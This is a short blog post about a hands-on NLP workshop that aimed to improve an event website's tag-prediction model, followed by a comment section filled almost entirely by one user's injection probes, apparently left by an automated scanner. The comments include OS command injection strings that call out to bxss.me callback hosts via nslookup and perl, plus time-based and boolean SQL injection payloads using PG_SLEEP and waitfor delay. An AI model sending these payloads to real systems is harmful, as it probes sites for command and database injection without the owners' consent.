
NLP and tagging: text analytics and predictions on natural language
The year started on a techy note with the first hands-on event on Natural Language Processing! The event was built around CityPolarna.se’s event-tagging algorithm and our quest to produce a better one. Johan’s CityPolarna is an event website where everyone can host an event and attend others’ in order to do fun things in their area and meet new friends - not unlike Barrel.ai but on a larger scale. The events that are created are suggested with a set of tags so that searchability increases for likeminded people. The thought was here to use Natural Language Processing, NLP, in order to create a predictive model on what tags each event should be assigned with.
The event started out with a review of the basics of NLP by Oscar to bring everyone up to speed on the techniques and glossary, some real cases from previous consulting assignments as well as the basics of building NLP pipelines with preprocessing and model creation. Johan then took over and gave us the back story of CityPolarna and a deeper look into the data and the previously built algorithm for tagging of events.
Some pizza slizes later and we were down to business: the laboration was of course set out as a competition where every team go to choose different pre-processing methods on the text data and then an algorithm of their choice.
Winner was team 42 (bob) who ended up on a score of 0.0307, where the original model performed at 0.0404 on the hamming_loss. Congratulations! All teams had a good run and the lab sparked some great discussions on hamming loss vs. accuracy and the importance of how the preprocessing is done as it lays the fundation for prediction accuracy. NLP is a vast area to cover and it is definitely not the last time we will be coding on this subject.
See you next time!
This event was sponsered by NordAxon, a company focusing on locally produced AI and Machine Learning in the Øresund region. www.nordaxon.com



-
Johan Broddfelt
NLP, workshop, tagging
Comment
Comments
68 posts found`(nslookup hitpzeybsiucab430d.bxss.me||perl -e "gethostbyname('hitpzeybsiucab430d.bxss.me')")`
2026-06-08 18:58:08 - wUmrLVWz
|(nslookup hitxegrlxfphzc36ff.bxss.me||perl -e "gethostbyname('hitxegrlxfphzc36ff.bxss.me')")
2026-06-08 18:58:06 - wUmrLVWz
&(nslookup hitirnmwietrqb8811.bxss.me||perl -e "gethostbyname('hitirnmwietrqb8811.bxss.me')")&'"`0&(nslookup hitirnmwietrqb8811.bxss.me||perl -e "gethostbyname('hitirnmwietrqb8811.bxss.me')")&`'
2026-06-08 18:58:04 - wUmrLVWz
$(nslookup hitpoifqksujy2cc06.bxss.me||perl -e "gethostbyname('hitpoifqksujy2cc06.bxss.me')")
2026-06-08 18:58:01 - wUmrLVWz
(nslookup hitgciubxjldya9485.bxss.me||perl -e "gethostbyname('hitgciubxjldya9485.bxss.me')")
2026-06-08 18:57:58 - wUmrLVWz
|echo hkiskk$() eaudyunz^xyu||a #' |echo hkiskk$() eaudyunz^xyu||a #|" |echo hkiskk$() eaudyunz^xyu||a #
2026-06-08 18:57:54 - wUmrLVWz
&echo vebuod$() wnqnqanz^xyu||a #' &echo vebuod$() wnqnqanz^xyu||a #|" &echo vebuod$() wnqnqanz^xyu||a #
2026-06-08 18:57:53 - wUmrLVWz
echo hdjdrn$() dkzbqknz^xyu||a #' &echo hdjdrn$() dkzbqknz^xyu||a #|" &echo hdjdrn$() dkzbqknz^xyu||a #
2026-06-08 18:57:44 - wUmrLVWz
6s4J5BRz')) OR 122=(SELECT 122 FROM PG_SLEEP(12))--
2026-06-08 18:19:24 - wUmrLVWz
EWzQoJKe') OR 539=(SELECT 539 FROM PG_SLEEP(12))--
2026-06-08 18:19:17 - wUmrLVWz
hhmedlqz' OR 887=(SELECT 887 FROM PG_SLEEP(12))--
2026-06-08 18:19:06 - wUmrLVWz
-1)) OR 702=(SELECT 702 FROM PG_SLEEP(12))--
2026-06-08 18:18:55 - wUmrLVWz
-5) OR 13=(SELECT 13 FROM PG_SLEEP(12))--
2026-06-08 18:18:48 - wUmrLVWz
-5 OR 715=(SELECT 715 FROM PG_SLEEP(12))--
2026-06-08 18:18:39 - wUmrLVWz
GHWlRCdW'; waitfor delay '0:0:12' --
2026-06-08 18:18:30 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 18:18:22 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 18:18:12 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 18:18:03 - wUmrLVWz
-1" OR 3+570-570-1=0+0+0+1 --
2026-06-08 18:17:21 - wUmrLVWz
-1" OR 2+570-570-1=0+0+0+1 --
2026-06-08 18:17:18 - wUmrLVWz
-1' OR 3+733-733-1=0+0+0+1 or 'giiJGqoo'='
2026-06-08 18:17:16 - wUmrLVWz
-1' OR 2+733-733-1=0+0+0+1 or 'giiJGqoo'='
2026-06-08 18:17:14 - wUmrLVWz
-1' OR 3+928-928-1=0+0+0+1 --
2026-06-08 18:17:13 - wUmrLVWz
-1' OR 2+928-928-1=0+0+0+1 --
2026-06-08 18:17:11 - wUmrLVWz
-1 OR 3+60-60-1=0+0+0+1
2026-06-08 18:17:09 - wUmrLVWz
-1 OR 2+60-60-1=0+0+0+1
2026-06-08 18:17:07 - wUmrLVWz
-1 OR 3+629-629-1=0+0+0+1 --
2026-06-08 18:17:04 - wUmrLVWz
-1 OR 2+629-629-1=0+0+0+1 --
2026-06-08 18:17:01 - wUmrLVWz
;(nslookup hittmvlxpowgmd263d.bxss.me||perl -e "gethostbyname('hittmvlxpowgmd263d.bxss.me')")|(nslookup hittmvlxpowgmd263d.bxss.me||perl -e "gethostbyname('hittmvlxpowgmd263d.bxss.me')")&(nslookup hittmvlxpowgmd263d.bxss.me||perl -e "gethostbyname('hittmvlxpowgmd263d.bxss.me')")
2026-06-08 16:31:17 - wUmrLVWz
`(nslookup hitsfajiakmum6ea7a.bxss.me||perl -e "gethostbyname('hitsfajiakmum6ea7a.bxss.me')")`
2026-06-08 16:31:13 - wUmrLVWz
|(nslookup hitdwztbntqtt106ba.bxss.me||perl -e "gethostbyname('hitdwztbntqtt106ba.bxss.me')")
2026-06-08 16:31:13 - wUmrLVWz
&(nslookup hitmalmxmgzob03e20.bxss.me||perl -e "gethostbyname('hitmalmxmgzob03e20.bxss.me')")&'"`0&(nslookup hitmalmxmgzob03e20.bxss.me||perl -e "gethostbyname('hitmalmxmgzob03e20.bxss.me')")&`'
2026-06-08 16:31:12 - wUmrLVWz
$(nslookup hitwkobsbyudk6ba0f.bxss.me||perl -e "gethostbyname('hitwkobsbyudk6ba0f.bxss.me')")
2026-06-08 16:31:08 - wUmrLVWz
(nslookup hitsddywqucrc2ef9d.bxss.me||perl -e "gethostbyname('hitsddywqucrc2ef9d.bxss.me')")
2026-06-08 16:31:07 - wUmrLVWz
|echo fnolly$() aafixanz^xyu||a #' |echo fnolly$() aafixanz^xyu||a #|" |echo fnolly$() aafixanz^xyu||a #
2026-06-08 16:31:05 - wUmrLVWz
&echo pfemnz$() decoesnz^xyu||a #' &echo pfemnz$() decoesnz^xyu||a #|" &echo pfemnz$() decoesnz^xyu||a #
2026-06-08 16:31:04 - wUmrLVWz
echo tecqox$() iwpvdbnz^xyu||a #' &echo tecqox$() iwpvdbnz^xyu||a #|" &echo tecqox$() iwpvdbnz^xyu||a #
2026-06-08 16:31:03 - wUmrLVWz
336P1fd0')) OR 189=(SELECT 189 FROM PG_SLEEP(12))--
2026-06-08 16:30:08 - wUmrLVWz
PYqNaCjm') OR 953=(SELECT 953 FROM PG_SLEEP(12))--
2026-06-08 16:30:06 - wUmrLVWz
uEeDxCwH' OR 701=(SELECT 701 FROM PG_SLEEP(12))--
2026-06-08 16:30:05 - wUmrLVWz
-1)) OR 258=(SELECT 258 FROM PG_SLEEP(12))--
2026-06-08 16:30:02 - wUmrLVWz
-5) OR 437=(SELECT 437 FROM PG_SLEEP(12))--
2026-06-08 16:30:00 - wUmrLVWz
-5 OR 120=(SELECT 120 FROM PG_SLEEP(12))--
2026-06-08 16:29:57 - wUmrLVWz
HhkZpv8u'; waitfor delay '0:0:12' --
2026-06-08 16:29:54 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 16:29:53 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 16:29:50 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 16:29:47 - wUmrLVWz
-1" OR 3*2>(0+5+166-166) --
2026-06-08 16:29:31 - wUmrLVWz
-1" OR 3*2<(0+5+166-166) --
2026-06-08 16:29:29 - wUmrLVWz
-1" OR 3+166-166-1=0+0+0+1 --
2026-06-08 16:29:25 - wUmrLVWz
-1" OR 2+166-166-1=0+0+0+1 --
2026-06-08 16:29:24 - wUmrLVWz
-1' OR 3*2>(0+5+742-742) or 'vNmXUNkx'='
2026-06-08 16:29:16 - wUmrLVWz
-1' OR 3*2<(0+5+742-742) or 'vNmXUNkx'='
2026-06-08 16:29:15 - wUmrLVWz
-1' OR 3+742-742-1=0+0+0+1 or 'vNmXUNkx'='
2026-06-08 16:29:11 - wUmrLVWz
-1' OR 2+742-742-1=0+0+0+1 or 'vNmXUNkx'='
2026-06-08 16:29:05 - wUmrLVWz
-1' OR 3*2>(0+5+420-420) --
2026-06-08 16:29:00 - wUmrLVWz
-1' OR 3*2<(0+5+420-420) --
2026-06-08 16:28:59 - wUmrLVWz
-1' OR 3+420-420-1=0+0+0+1 --
2026-06-08 16:28:55 - wUmrLVWz
-1' OR 2+420-420-1=0+0+0+1 --
2026-06-08 16:28:51 - wUmrLVWz
-1 OR 3*2>(0+5+21-21)
2026-06-08 16:28:49 - wUmrLVWz
-1 OR 3*2<(0+5+21-21)
2026-06-08 16:28:48 - wUmrLVWz
-1 OR 3+21-21-1=0+0+0+1
2026-06-08 16:28:47 - wUmrLVWz
-1 OR 2+21-21-1=0+0+0+1
2026-06-08 16:28:45 - wUmrLVWz
-1 OR 3*2>(0+5+850-850) --
2026-06-08 16:28:43 - wUmrLVWz
-1 OR 3*2<(0+5+850-850) --
2026-06-08 16:28:41 - wUmrLVWz
-1 OR 3+850-850-1=0+0+0+1 --
2026-06-08 16:28:37 - wUmrLVWz
-1 OR 2+850-850-1=0+0+0+1 --
2026-06-08 16:28:36 - wUmrLVWz
;(nslookup hitxkawhthlgs3674d.bxss.me||perl -e "gethostbyname('hitxkawhthlgs3674d.bxss.me')")|(nslookup hitxkawhthlgs3674d.bxss.me||perl -e "gethostbyname('hitxkawhthlgs3674d.bxss.me')")&(nslookup hitxkawhthlgs3674d.bxss.me||perl -e "gethostbyname('hitxkawhthlgs3674d.bxss.me')")
2026-06-08 18:58:09 - wUmrLVWz